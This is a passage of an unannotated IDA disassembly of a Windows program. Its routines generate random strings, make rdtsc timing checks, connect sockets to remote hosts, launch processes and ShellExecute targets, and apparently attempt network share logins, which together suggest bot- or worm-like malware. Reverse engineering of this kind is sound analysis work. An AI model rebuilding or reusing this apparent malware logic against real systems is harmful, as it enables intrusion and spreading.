mov edx, [esp+1Ch]
inc edi
inc esi
lea eax, [edx-1]
cmp edi, eax
jl short loc_41B73F
loc_41B795: ; CODE XREF: ___:0041B73Bj
; ___:0041B741j ...
mov eax, [esp+1Ch]
mov [eax+ebp-1], bl
loc_41B79D: ; CODE XREF: ___:0041B76Cj
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B7A4: ; CODE XREF: ___:0041B75Aj
; ___:0041B75Fj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B7E0 proc near ; CODE XREF: sub_401280j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
xor ebx, ebx
xor esi, esi
dec eax
cmp eax, ebx
push edi
mov [ebp+0], bl
mov byte ptr [esp+10h+arg_4], 1
jle short loc_41B84A
mov edi, ebp
loc_41B7FF: ; CODE XREF: sub_41B7E0+68j
cmp edi, ebx
jz short loc_41B84A
cmp byte ptr [esp+10h+arg_4], bl
jz short loc_41B84A
mov ecx, [esp+10h+arg_0]
push ebx
push 1
push edi
push ecx
nop
call near ptr 71AB615Ah
test eax, eax
jz short loc_41B859
mov [esi+ebp+1], bl
mov al, [edi]
cmp al, 0Ah
jz short loc_41B82A
cmp al, bl
jnz short loc_41B83D
loc_41B82A: ; CODE XREF: sub_41B7E0+44j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41B837
mov [esi+ebp-1], bl
jmp short loc_41B839
; ---------------------------------------------------------------------------
loc_41B837: ; CODE XREF: sub_41B7E0+4Fj
mov [edi], bl
loc_41B839: ; CODE XREF: sub_41B7E0+55j
mov byte ptr [esp+10h+arg_4], bl
loc_41B83D: ; CODE XREF: sub_41B7E0+48j
mov edx, [esp+10h+arg_8]
inc esi
inc edi
lea eax, [edx-1]
cmp esi, eax
jl short loc_41B7FF
loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj
; sub_41B7E0+21j ...
mov eax, [esp+10h+arg_8]
pop edi
pop esi
mov [eax+ebp-1], bl
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B859: ; CODE XREF: sub_41B7E0+3Aj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
sub_41B7E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B880: ; CODE XREF: ___:00401AF0j
push ebx
mov ebx, [esp+8]
push ebp
mov ebp, [esp+10h]
mov ecx, ebp
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd
mov ecx, edx
xor esi, esi
and ecx, 3
test ebp, ebp
rep stosb
jle short loc_41B8DB
loc_41B8A6: ; CODE XREF: ___:0041B8D9j
push 3
push 1
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
dec eax
jz short loc_41B8C7
dec eax
jz short loc_41B8C1
dec eax
jnz short loc_41B8D6
push 7Ah
push 61h
jmp short loc_41B8CB
; ---------------------------------------------------------------------------
loc_41B8C1: ; CODE XREF: ___:0041B8B6j
push 5Ah
push 41h
jmp short loc_41B8CB
; ---------------------------------------------------------------------------
loc_41B8C7: ; CODE XREF: ___:0041B8B3j
push 39h
push 30h
loc_41B8CB: ; CODE XREF: ___:0041B8BFj
; ___:0041B8C5j
call sub_4021C6
; ---------------------------------------------------------------------------
add esp, 8
mov [esi+ebx], al
loc_41B8D6: ; CODE XREF: ___:0041B8B9j
inc esi
cmp esi, ebp
jl short loc_41B8A6
loc_41B8DB: ; CODE XREF: ___:0041B8A4j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B900 proc near ; CODE XREF: sub_401424j
rdtsc
retn
sub_41B900 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B920 proc near ; CODE XREF: sub_4017FDj
var_4 = dword ptr -4
sub esp, 8
push ebx
mov ebx, dword_5118D8
push ebp
push esi
push edi
xor ebp, ebp
loc_41B92F: ; CODE XREF: sub_41B920+43j
; sub_41B920+4Dj
call sub_401424
push 3E8h
mov esi, eax
mov edi, edx
call ebx
call sub_401424
sub eax, esi
push ebp
sbb edx, edi
push 186A0h
push edx
push eax
call sub_437C60
push ebp
push 0Ah
push edx
push eax
call sub_437C60
cmp edx, ebp
mov esi, eax
ja short loc_41B92F
jb short loc_41B96F
cmp esi, 0F4240h
ja short loc_41B92F
loc_41B96F: ; CODE XREF: sub_41B920+45j
push ebp
push 64h
push edx
push esi
call sub_437BE0
mov ecx, eax
cmp edx, ebp
mov eax, 64h
mov [esp+18h+var_4], ebp
ja short loc_41B9F9
jb short loc_41B98F
cmp ecx, 50h
jnb short loc_41B998
loc_41B98F: ; CODE XREF: sub_41B920+68j
mov eax, 4Bh
mov [esp+18h+var_4], ebp
loc_41B998: ; CODE XREF: sub_41B920+6Dj
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9A3
cmp ecx, 47h
jnb short loc_41B9AC
loc_41B9A3: ; CODE XREF: sub_41B920+7Cj
mov eax, 42h
mov [esp+18h+var_4], ebp
loc_41B9AC: ; CODE XREF: sub_41B920+81j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9B7
cmp ecx, 37h
jnb short loc_41B9C0
loc_41B9B7: ; CODE XREF: sub_41B920+90j
mov eax, 32h
mov [esp+18h+var_4], ebp
loc_41B9C0: ; CODE XREF: sub_41B920+95j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9CB
cmp ecx, 26h
jnb short loc_41B9D4
loc_41B9CB: ; CODE XREF: sub_41B920+A4j
mov eax, 21h
mov [esp+18h+var_4], ebp
loc_41B9D4: ; CODE XREF: sub_41B920+A9j
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9DF
cmp ecx, 1Eh
jnb short loc_41B9E8
loc_41B9DF: ; CODE XREF: sub_41B920+B8j
mov eax, 19h
mov [esp+18h+var_4], ebp
loc_41B9E8: ; CODE XREF: sub_41B920+BDj
cmp edx, ebp
ja short loc_41B9F9
jb short loc_41B9F3
cmp ecx, 0Ah
jnb short loc_41B9F9
loc_41B9F3: ; CODE XREF: sub_41B920+CCj
xor eax, eax
mov [esp+18h+var_4], ebp
loc_41B9F9: ; CODE XREF: sub_41B920+66j
; sub_41B920+7Aj ...
sub eax, ecx
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_41B920 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BA50 proc near ; CODE XREF: sub_402040j
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_41BA50
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
mov al, byte_449739
push ebx
push esi
push edi
test al, al
mov [esp+4Ch+var_40], 0
jz loc_41BBAF
push ebp
lea ecx, [esp+50h+var_3C]
call sub_40142E
push 400h
lea ecx, [esp+54h+var_3C]
mov [esp+54h+var_4], 1
xor bl, bl
call sub_401C71
mov ebp, eax
call sub_401F0A
lea ecx, [esp+50h+var_3C]
call sub_4013E3
mov [esp+50h+arg_4], eax
lea eax, [esp+50h+arg_4]
push eax
push ebp
call near ptr 2810000h
nop
test eax, eax
jnz short loc_41BAE6
mov edi, offset byte_448F40
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
loc_41BAE6: ; CODE XREF: sub_41BA50+74j
movsx ecx, byte ptr [ebp+0]
mov eax, 41h
loc_41BAEF: ; CODE XREF: sub_41BA50+A9j
cmp ecx, eax
jnz short loc_41BAF5
mov bl, 1
loc_41BAF5: ; CODE XREF: sub_41BA50+A1j
inc eax
cmp eax, 5Bh
jl short loc_41BAEF
mov eax, 61h
loc_41BB00: ; CODE XREF: sub_41BA50+BAj
cmp ecx, eax
jnz short loc_41BB06
mov bl, 1
loc_41BB06: ; CODE XREF: sub_41BA50+B2j
inc eax
cmp eax, 7Bh
jl short loc_41BB00
test bl, bl
jnz short loc_41BB32
mov edi, offset byte_448F40
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_41BB32: ; CODE XREF: sub_41BA50+BEj
mov esi, dword_511AC8
call esi
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_3C]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+50h+var_40], 1
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj
lea ecx, [esp+4Ch+var_24]
call sub_40142E
mov ebx, 2
mov [esp+4Ch+var_4], ebx
nop
call near ptr 27E0CD2h
push eax
nop
call near ptr 77C371BCh
mov edi, dword_511AC8
add esp, 4
call edi
cdq
mov ecx, 3
idiv ecx
lea ecx, [esp+4Ch+var_24]
mov esi, edx
mov edx, [esp+4Ch+arg_4]
push edx
add esi, 6
call sub_4015E1
test esi, esi
jle short loc_41BC4E
loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj
lea ecx, [esp+4Ch+var_3C]
call sub_40142E
lea eax, [esp+4Ch+var_24]
lea ecx, [esp+4Ch+var_3C]
push eax
mov byte ptr [esp+50h+var_4], 3
call sub_401FDC
call edi
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+4Ch+var_3C]
add edx, 61h
push edx
call sub_4017EE
push eax
lea edx, [esp+54h+var_24]
push offset dword_444E6C
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], bl
call sub_401226
dec esi
jnz short loc_41BBF8
loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j
mov esi, [esp+4Ch+arg_0]
lea eax, [esp+4Ch+var_24]
push eax
mov ecx, esi
call sub_4014D3
lea ecx, [esp+4Ch+var_24]
mov [esp+4Ch+var_40], 1
mov byte ptr [esp+4Ch+var_4], 0
call sub_401226
mov ecx, [esp+4Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 40h
retn
sub_41BA50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BD20: ; CODE XREF: ___:00401573j
mov al, [esp+4]
cmp al, 20h
jz short loc_41BD2F
cmp al, 9
jz short loc_41BD2F
xor al, al
retn
; ---------------------------------------------------------------------------
loc_41BD2F: ; CODE XREF: ___:0041BD26j
; ___:0041BD2Aj
mov al, 1
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BD50: ; CODE XREF: ___:00401EF6j
mov eax, [esp+4]
push offset dword_444E74
push eax
nop
call near ptr 77C3F010h
add esp, 8
test eax, eax
jz short loc_41BD74
push eax
call near ptr 77C40AB1h
nop
add esp, 4
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_41BD74: ; CODE XREF: ___:0041BD65j
xor al, al
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BD90 proc near ; CODE XREF: sub_401483j
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = byte ptr -20h
arg_0 = dword ptr 4
sub esp, 30h
push ebx
push ebp
push esi
push edi
mov edi, [esp+40h+arg_0]
test edi, edi
jz loc_41BFEE
mov esi, offset byte_448F40
mov eax, edi
loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BDD2
test cl, cl
jz short loc_41BDCE
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BDD2
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BDAA
loc_41BDCE: ; CODE XREF: sub_41BD90+26j
xor eax, eax
jmp short loc_41BDD7
; ---------------------------------------------------------------------------
loc_41BDD2: ; CODE XREF: sub_41BD90+22j
; sub_41BD90+32j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BDD7: ; CODE XREF: sub_41BD90+40j
test eax, eax
jz loc_41BFEE
push 20h
lea eax, [esp+44h+var_20]
push edi
push eax
nop
call near ptr 77C47A90h
mov edi, dword_511B00
lea ecx, [esp+4Ch+var_20]
push offset dword_4447F8
push ecx
call edi
add esp, 14h
mov [esp+40h+var_30], eax
test eax, eax
jz loc_41BFEE
mov ebx, 1
lea esi, [esp+40h+var_2C]
loc_41BE17: ; CODE XREF: sub_41BD90+A4j
push offset dword_4447F8
push 0
call edi
add esp, 8
mov [esi], eax
test eax, eax
jz loc_41BFEE
inc ebx
add esi, 4
cmp ebx, 4
jl short loc_41BE17
mov ebp, [esp+40h+var_30]
mov esi, offset dword_444E90
mov eax, ebp
loc_41BE41: ; CODE XREF: sub_41BD90+D3j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BE69
test dl, dl
jz short loc_41BE65
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BE69
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BE41
loc_41BE65: ; CODE XREF: sub_41BD90+BDj
xor eax, eax
jmp short loc_41BE6E
; ---------------------------------------------------------------------------
loc_41BE69: ; CODE XREF: sub_41BD90+B9j
; sub_41BD90+C9j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BE6E: ; CODE XREF: sub_41BD90+D7j
test eax, eax
jnz short loc_41BE7C
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BE7C: ; CODE XREF: sub_41BD90+E0j
mov esi, offset dword_444E8C
mov eax, ebp
loc_41BE83: ; CODE XREF: sub_41BD90+115j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BEAB
test dl, dl
jz short loc_41BEA7
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BEAB
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BE83
loc_41BEA7: ; CODE XREF: sub_41BD90+FFj
xor eax, eax
jmp short loc_41BEB0
; ---------------------------------------------------------------------------
loc_41BEAB: ; CODE XREF: sub_41BD90+FBj
; sub_41BD90+10Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BEB0: ; CODE XREF: sub_41BD90+119j
mov edi, [esp+40h+var_2C]
test eax, eax
jnz short loc_41BEFA
mov esi, offset dword_444E88
mov edx, edi
loc_41BEBF: ; CODE XREF: sub_41BD90+151j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BEE7
test bl, bl
jz short loc_41BEE3
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BEE7
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BEBF
loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj
xor edx, edx
jmp short loc_41BEEC
; ---------------------------------------------------------------------------
loc_41BEE7: ; CODE XREF: sub_41BD90+137j
; sub_41BD90+147j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BEEC: ; CODE XREF: sub_41BD90+155j
test edx, edx
jnz short loc_41BEFA
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BEFA: ; CODE XREF: sub_41BD90+126j
; sub_41BD90+15Ej
mov esi, offset dword_444E84
mov edx, ebp
loc_41BF01: ; CODE XREF: sub_41BD90+193j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BF29
test bl, bl
jz short loc_41BF25
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BF29
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BF01
loc_41BF25: ; CODE XREF: sub_41BD90+17Dj
xor edx, edx
jmp short loc_41BF2E
; ---------------------------------------------------------------------------
loc_41BF29: ; CODE XREF: sub_41BD90+179j
; sub_41BD90+189j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BF2E: ; CODE XREF: sub_41BD90+197j
test edx, edx
jnz short loc_41BF74
mov esi, offset dword_444E80
mov edx, edi
loc_41BF39: ; CODE XREF: sub_41BD90+1CBj
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BF61
test bl, bl
jz short loc_41BF5D
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BF61
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BF39
loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j
xor edx, edx
jmp short loc_41BF66
; ---------------------------------------------------------------------------
loc_41BF61: ; CODE XREF: sub_41BD90+1B1j
; sub_41BD90+1C1j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BF66: ; CODE XREF: sub_41BD90+1CFj
test edx, edx
jnz short loc_41BF74
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BF74: ; CODE XREF: sub_41BD90+1A0j
; sub_41BD90+1D8j
mov esi, offset dword_444E7C
mov ecx, ebp
loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj
mov al, [ecx]
mov bl, [esi]
mov dl, al
cmp al, bl
jnz short loc_41BFA3
test dl, dl
jz short loc_41BF9F
mov al, [ecx+1]
mov bl, [esi+1]
mov dl, al
cmp al, bl
jnz short loc_41BFA3
add ecx, 2
add esi, 2
test dl, dl
jnz short loc_41BF7B
loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j
xor ecx, ecx
jmp short loc_41BFA8
; ---------------------------------------------------------------------------
loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j
; sub_41BD90+203j
sbb ecx, ecx
sbb ecx, 0FFFFFFFFh
loc_41BFA8: ; CODE XREF: sub_41BD90+211j
test ecx, ecx
jnz short loc_41BFEE
mov esi, offset dword_444E78
mov eax, edi
loc_41BFB3: ; CODE XREF: sub_41BD90+245j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BFDB
test cl, cl
jz short loc_41BFD7
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BFDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BFB3
loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj
xor eax, eax
jmp short loc_41BFE0
; ---------------------------------------------------------------------------
loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj
; sub_41BD90+23Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BFE0: ; CODE XREF: sub_41BD90+249j
test eax, eax
jnz short loc_41BFEE
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BFEE: ; CODE XREF: sub_41BD90+Dj
; sub_41BD90+49j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 30h
retn
sub_41BD90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C0A0 proc near ; CODE XREF: sub_402022j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
push esi
push 6
push 1
push 2
xor bl, bl
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41C108
cmp esi, 0FFFFFFFFh
jz short loc_41C108
mov eax, [esp+18h+arg_0]
push eax
nop
call near ptr 71AB2BF4h
mov ecx, [esp+18h+arg_4]
mov [esp+18h+var_C], eax
push ecx
call near ptr 71AB2B66h
nop
lea edx, [esp+18h+var_10]
push 10h
push edx
push esi
mov [esp+24h+var_E], ax
mov [esp+24h+var_10], 2
nop
call near ptr 71AB406Ah
test eax, eax
jnz short loc_41C0F9
mov bl, 1
loc_41C0F9: ; CODE XREF: sub_41C0A0+55j
push esi
nop
call near ptr 71AB9639h
mov al, bl
pop esi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41C108: ; CODE XREF: sub_41C0A0+18j
; sub_41C0A0+1Dj
pop esi
xor al, al
pop ebx
add esp, 10h
retn
sub_41C0A0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C130 proc near ; CODE XREF: sub_401299j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push 0
push eax
push ecx
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
cmp eax, 20h
setnl al
retn
sub_41C130 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C170 proc near ; CODE XREF: sub_402167j
var_54 = byte ptr -54h
var_44 = dword ptr -44h
var_14 = word ptr -14h
arg_0 = dword ptr 4
sub esp, 54h
push edi
mov ecx, 11h
xor eax, eax
lea edi, [esp+58h+var_44]
rep stosd
mov [esp+58h+var_14], ax
lea eax, [esp+58h+var_54]
mov edx, [esp+58h+arg_0]
lea ecx, [esp+58h+var_44]
push eax
push ecx
push 0
push 0
push 28h
push 0
push 0
push 0
push edx
push 0
mov [esp+80h+var_44], 44h
call near ptr 27F0462h
nop
test eax, eax
setnle al
pop edi
add esp, 54h
retn
sub_41C170 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C1E0: ; CODE XREF: ___:00401884j
sub esp, 354h
mov eax, off_444E9C
mov ecx, off_444EA0
mov [esp+0], eax
mov al, byte_448F40
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_444EA4
rep stosd
mov ecx, off_444E94
mov [esp+10h], edx
mov dx, word_444E98
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
xor edi, edi
push eax
push 0FFFFFFFFh
push ecx
push edi
push edi
call near ptr 27B0000h
nop
mov esi, dword_511AB8
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi
mov esi, [esp+374h]
add esp, 10h
lea eax, [esp+12Ch]
push edi
push offset dword_50DB5C
push offset dword_50DB5C
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call sub_43829E
; ---------------------------------------------------------------------------
cmp eax, 5
jz short loc_41C2C8
cmp eax, 4C3h
jnz short loc_41C2D1
loc_41C2C8: ; CODE XREF: ___:0041C2BFj
push edi
push edi
push edi
push esi
call sub_43829E
; ---------------------------------------------------------------------------
loc_41C2D1: ; CODE XREF: ___:0041C2C6j
pop edi
cmp eax, 5
pop esi
jz short loc_41C2E8
cmp eax, 4C3h
jz short loc_41C2E8
mov al, 1
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_41C2E8: ; CODE XREF: ___:0041C2D6j
; ___:0041C2DDj
xor al, al
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C350: ; CODE XREF: ___:00401EE7j
sub esp, 354h
mov eax, off_444E9C
mov ecx, off_444EA0
mov [esp+0], eax
mov al, byte_448F40
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_444EA4
rep stosd
mov ecx, off_444E94
mov [esp+10h], edx
mov dx, word_444E98
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
push eax
push 0FFFFFFFFh
push ecx
push 0
push 0
call near ptr 27B0000h
nop
mov esi, dword_511AB8
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi
add esp, 10h
lea eax, [esp+12Ch]
push 0
push 0
push eax
call sub_4382A4
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_41C438
mov esi, dword_5118D8
loc_41C41C: ; CODE XREF: ___:0041C436j
push 7D0h
call esi
push 0
lea ecx, [esp+130h]
push 0
push ecx
call sub_4382A4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41C41C
loc_41C438: ; CODE XREF: ___:0041C414j
pop edi
mov al, 1
pop esi
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41C490 proc near ; CODE XREF: sub_401D93j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41C490
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
lea eax, [esp+5Ch+var_3C]
push 6
mov esi, ecx
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_41C490 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
lea edx, [esp+24h]
push 6
push edx
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+118h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 15h
push 4Fh
push 10h
push 14h
lea ecx, [esp+20h]
push 6
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+0EAh]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
push 14h
lea eax, [esp+24h]
push 8
push eax
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
push 14h
lea edx, [esp+28h]
push 8
push edx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
push eax
lea eax, [esi+60h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 4Fh
push 10h
push 14h
push 14h
lea ecx, [esp+4Ch]
push 8
push ecx
call sub_4019C4
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017EE
add esi, 32h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C710 proc near ; CODE XREF: sub_401064j
var_111 = byte ptr -111h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_F4 = byte ptr -0F4h
var_DC = byte ptr -0DCh
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_94 = byte ptr -94h
var_7C = byte ptr -7Ch
var_67 = byte ptr -67h
